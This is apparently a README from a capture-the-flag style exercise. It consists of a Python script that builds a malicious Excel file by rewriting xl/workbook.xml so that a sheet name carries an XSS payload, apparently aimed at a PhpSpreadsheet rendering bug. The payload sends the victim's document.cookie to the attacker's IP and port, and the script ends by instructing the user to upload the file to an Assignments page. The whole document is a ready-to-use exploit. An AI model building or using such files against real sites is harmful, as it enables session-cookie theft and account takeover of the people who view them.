README.md
Rendering markdown...
import zipfile
import shutil
import os
from openpyxl import Workbook
# --- CONFIGURATION ---
MY_IP = "TUN0_IP"
PORT = "8000"
FILENAME = "assignment_exploit.xlsx"
# 1. Create a "Clean" Excel file first (Standard compliant)
print("[*] Creating template Excel file...")
wb = Workbook()
ws = wb.active
ws.title = "INJECT_HERE" # Placeholder we will find and replace
wb.create_sheet("Sheet2") # Crucial: 2nd sheet is required to trigger the bug
wb.save(FILENAME)
# 2. Define the Malicious Payload
# We must XML-encode the characters (< becomes <) so the XML parser reads it,
# but PhpSpreadsheet converts it back to code.
payload = f"<script>fetch('http://{MY_IP}:{PORT}/?c='+document.cookie)</script>"
print(f"[*] Constructing payload: {payload}")
# 3. Inject the Payload manually using Zip manipulation
# We are bypassing OpenPyXL's validation by editing the raw XML.
print("[*] Injecting payload into xl/workbook.xml...")
temp_file = "temp_exploit.xlsx"
# Copy existing xlsx to a temp file
shutil.copyfile(FILENAME, temp_file)
with zipfile.ZipFile(temp_file, 'r') as zin:
with zipfile.ZipFile(FILENAME, 'w') as zout:
for item in zin.infolist():
# Read the file content
data = zin.read(item.filename)
# If it's the workbook configuration, inject the payload
if item.filename == 'xl/workbook.xml':
# Replace the placeholder with our malicious XSS
# We use .replace() on bytes
data = data.replace(b'name="INJECT_HERE"', f'name="{payload}"'.encode('utf-8'))
# Write data back to the new zip
zout.writestr(item, data)
# Cleanup
os.remove(temp_file)
print(f"[+] Success! Malicious file '{FILENAME}' created.")
print(f"[+] Upload this file to the Assignments page.")